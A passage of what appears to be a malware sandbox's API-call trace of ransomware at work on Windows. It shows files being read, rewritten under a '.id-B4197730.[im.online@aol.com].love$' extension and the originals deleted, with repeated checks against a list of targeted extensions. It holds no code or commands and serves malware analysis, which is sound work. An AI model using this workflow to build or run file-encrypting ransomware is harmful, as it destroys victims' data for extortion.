liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.384] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0103.384] GetLastError () returned 0x0 [0103.387] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xfaf, lpOverlapped=0x0) returned 1 [0103.389] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xfb0, lpOverlapped=0x0) returned 1 [0103.390] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.390] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.390] SetEndOfFile (hFile=0x338) returned 1 [0103.391] CloseHandle (hObject=0x338) returned 1 [0103.392] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.392] SetEndOfFile (hFile=0x340) returned 1 [0103.393] CloseHandle (hObject=0x340) returned 1 [0103.393] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.394] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0103.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.394] lstrlenW (lpString=".doc") returned 4 [0103.394] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.394] lstrlenW (lpString=".docx") returned 5 [0103.394] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.394] lstrlenW (lpString=".pdf") returned 4 [0103.394] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.394] lstrlenW (lpString=".xls") returned 4 [0103.395] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.395] lstrlenW (lpString=".xlsx") returned 5 [0103.395] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.395] lstrlenW (lpString=".ppt") returned 4 [0103.395] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.395] lstrlenW (lpString=".zip") returned 4 [0103.395] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.395] lstrlenW (lpString=".rar") returned 4 [0103.395] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.395] lstrlenW (lpString=".bz2") returned 4 [0103.395] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.395] lstrlenW (lpString=".7z") returned 3 [0103.395] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.395] lstrlenW (lpString=".dbf") returned 4 [0103.395] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.395] lstrlenW (lpString=".1cd") returned 4 [0103.395] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.395] lstrlenW (lpString=".jpg") returned 4 [0103.395] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.395] lstrlenW (lpString=".doc") returned 4 [0103.396] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.396] lstrlenW (lpString=".docx") returned 5 [0103.396] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.396] lstrlenW (lpString=".pdf") returned 4 [0103.396] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.396] lstrlenW (lpString=".xls") returned 4 [0103.396] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.396] lstrlenW (lpString=".xlsx") returned 5 [0103.396] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.396] lstrlenW (lpString=".ppt") returned 4 [0103.396] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.396] lstrlenW (lpString=".zip") returned 4 [0103.396] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.396] lstrlenW (lpString=".rar") returned 4 [0103.396] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.396] lstrlenW (lpString=".bz2") returned 4 [0103.396] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.396] lstrlenW (lpString=".7z") returned 3 [0103.396] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.396] lstrlenW (lpString=".dbf") returned 4 [0103.396] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.396] lstrlenW (lpString=".1cd") returned 4 [0103.396] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.396] lstrlenW (lpString=".jpg") returned 4 [0103.396] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.397] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0103.397] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.397] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.397] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=80254) returned 1 [0103.397] CloseHandle (hObject=0x340) returned 1 [0103.397] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0103.397] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.398] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.398] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0103.398] GetLastError () returned 0x0 [0103.398] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x1397e, lpOverlapped=0x0) returned 1 [0103.987] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13980, lpOverlapped=0x0) returned 1 [0103.990] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.991] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.991] SetEndOfFile (hFile=0x338) returned 1 [0103.991] CloseHandle (hObject=0x338) returned 1 [0103.997] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.997] SetEndOfFile (hFile=0x340) returned 1 [0103.999] CloseHandle (hObject=0x340) returned 1 [0103.999] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.999] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0104.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.000] lstrlenW (lpString=".doc") returned 4 [0104.000] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.000] lstrlenW (lpString=".docx") returned 5 [0104.000] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0104.000] lstrlenW (lpString=".pdf") returned 4 [0104.000] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.000] lstrlenW (lpString=".xls") returned 4 [0104.000] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.000] lstrlenW (lpString=".xlsx") returned 5 [0104.000] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0104.000] lstrlenW (lpString=".ppt") returned 4 [0104.000] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.000] lstrlenW (lpString=".zip") returned 4 [0104.000] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.001] lstrlenW (lpString=".rar") returned 4 [0104.001] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.001] lstrlenW (lpString=".bz2") returned 4 [0104.001] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.001] lstrlenW (lpString=".7z") returned 3 [0104.001] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.001] lstrlenW (lpString=".dbf") returned 4 [0104.001] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.001] lstrlenW (lpString=".1cd") returned 4 [0104.001] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.001] lstrlenW (lpString=".jpg") returned 4 [0104.001] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.001] lstrlenW (lpString=".doc") returned 4 [0104.001] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.001] lstrlenW (lpString=".docx") returned 5 [0104.001] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0104.001] lstrlenW (lpString=".pdf") returned 4 [0104.001] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.001] lstrlenW (lpString=".xls") returned 4 [0104.001] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.001] lstrlenW (lpString=".xlsx") returned 5 [0104.002] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0104.002] lstrlenW (lpString=".ppt") returned 4 [0104.002] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.002] lstrlenW (lpString=".zip") returned 4 [0104.002] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.002] lstrlenW (lpString=".rar") returned 4 [0104.002] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.002] lstrlenW (lpString=".bz2") returned 4 [0104.002] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.002] lstrlenW (lpString=".7z") returned 3 [0104.002] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.002] lstrlenW (lpString=".dbf") returned 4 [0104.002] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.002] lstrlenW (lpString=".1cd") returned 4 [0104.002] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0104.002] lstrlenW (lpString=".jpg") returned 4 [0104.002] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.002] lstrcmpiW (lpString1=".bmp", lpString2=".love$") returned -1 [0104.002] lstrlenW (lpString="header.bmp") returned 10 [0104.003] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0104.004] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3628) returned 1 [0104.004] CloseHandle (hObject=0x340) returned 1 [0104.004] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0104.004] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0104.004] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0104.005] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.005] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.005] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0104.005] GetLastError () returned 0x0 [0104.005] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xe2c, lpOverlapped=0x0) returned 1 [0104.007] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe30, lpOverlapped=0x0) returned 1 [0104.009] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.009] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe8, lpOverlapped=0x0) returned 1 [0104.009] SetEndOfFile (hFile=0x338) returned 1 [0104.009] CloseHandle (hObject=0x338) returned 1 [0104.012] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.012] SetEndOfFile (hFile=0x340) returned 1 [0104.013] CloseHandle (hObject=0x340) returned 1 [0104.014] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0104.014] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0104.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.015] lstrlenW (lpString=".doc") returned 4 [0104.015] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.015] lstrlenW (lpString=".docx") returned 5 [0104.015] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0104.015] lstrlenW (lpString=".pdf") returned 4 [0104.015] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.015] lstrlenW (lpString=".xls") returned 4 [0104.015] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.015] lstrlenW (lpString=".xlsx") returned 5 [0104.015] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0104.015] lstrlenW (lpString=".ppt") returned 4 [0104.015] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.015] lstrlenW (lpString=".zip") returned 4 [0104.015] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.015] lstrlenW (lpString=".rar") returned 4 [0104.015] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.015] lstrlenW (lpString=".bz2") returned 4 [0104.015] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.015] lstrlenW (lpString=".7z") returned 3 [0104.015] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0104.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.015] lstrlenW (lpString=".dbf") returned 4 [0104.015] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.016] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.016] lstrlenW (lpString=".1cd") returned 4 [0104.016] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.016] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.016] lstrlenW (lpString=".jpg") returned 4 [0104.016] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.016] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.016] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.016] lstrlenW (lpString=".doc") returned 4 [0104.016] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.016] lstrlenW (lpString=".docx") returned 5 [0104.016] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0104.016] lstrlenW (lpString=".pdf") returned 4 [0104.016] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.016] lstrlenW (lpString=".xls") returned 4 [0104.016] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.016] lstrlenW (lpString=".xlsx") returned 5 [0104.016] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0104.016] lstrlenW (lpString=".ppt") returned 4 [0104.016] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.016] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.016] lstrlenW (lpString=".zip") returned 4 [0104.016] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.016] lstrlenW (lpString=".rar") returned 4 [0104.016] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.016] lstrlenW (lpString=".bz2") returned 4 [0104.017] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.017] lstrlenW (lpString=".7z") returned 3 [0104.017] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0104.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.017] lstrlenW (lpString=".dbf") returned 4 [0104.017] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.017] lstrlenW (lpString=".1cd") returned 4 [0104.017] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.017] lstrlenW (lpString=".jpg") returned 4 [0104.017] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.017] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0104.017] lstrlenW (lpString="ParameterInfo.xml") returned 17 [0104.017] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0104.018] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=272046) returned 1 [0104.019] CloseHandle (hObject=0x340) returned 1 [0104.019] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0104.019] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0104.019] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0104.019] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.019] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.019] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0104.020] GetLastError () returned 0x0 [0104.020] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x426ae, lpOverlapped=0x0) returned 1 [0104.369] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x426b0, lpOverlapped=0x0) returned 1 [0104.552] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.552] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0104.552] SetEndOfFile (hFile=0x338) returned 1 [0104.554] CloseHandle (hObject=0x338) returned 1 [0104.560] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.560] SetEndOfFile (hFile=0x340) returned 1 [0104.586] CloseHandle (hObject=0x340) returned 1 [0104.587] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0104.587] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0104.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.587] lstrlenW (lpString=".doc") returned 4 [0104.587] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.587] lstrlenW (lpString=".docx") returned 5 [0104.587] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.587] lstrlenW (lpString=".pdf") returned 4 [0104.587] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.587] lstrlenW (lpString=".xls") returned 4 [0104.587] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.587] lstrlenW (lpString=".xlsx") returned 5 [0104.587] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.587] lstrlenW (lpString=".ppt") 